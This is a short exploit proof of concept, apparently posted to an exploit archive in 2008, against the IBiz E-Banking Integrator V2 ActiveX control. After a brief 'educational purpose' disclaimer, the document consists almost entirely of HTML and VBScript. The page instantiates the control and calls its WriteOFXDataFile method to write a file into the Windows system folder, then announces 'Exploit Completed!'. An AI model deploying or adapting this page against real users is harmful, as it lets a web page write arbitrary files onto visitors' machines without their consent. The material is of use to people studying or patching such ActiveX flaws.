ibiz-insecure.txt
Posted on 11 April 2008
-------------------------------------------------------------------- IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. More info at http://shinnai.altervista.org -------------------------------------------------------------------- <object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe() On Error Resume Next test.WriteOFXDataFile "C:WINDOWSsystem_.ini" If Err.Number <> 0 Then MsgBox "Something went wrong!" Else MsgBox "Exploit Completed!" End If End Sub </script>
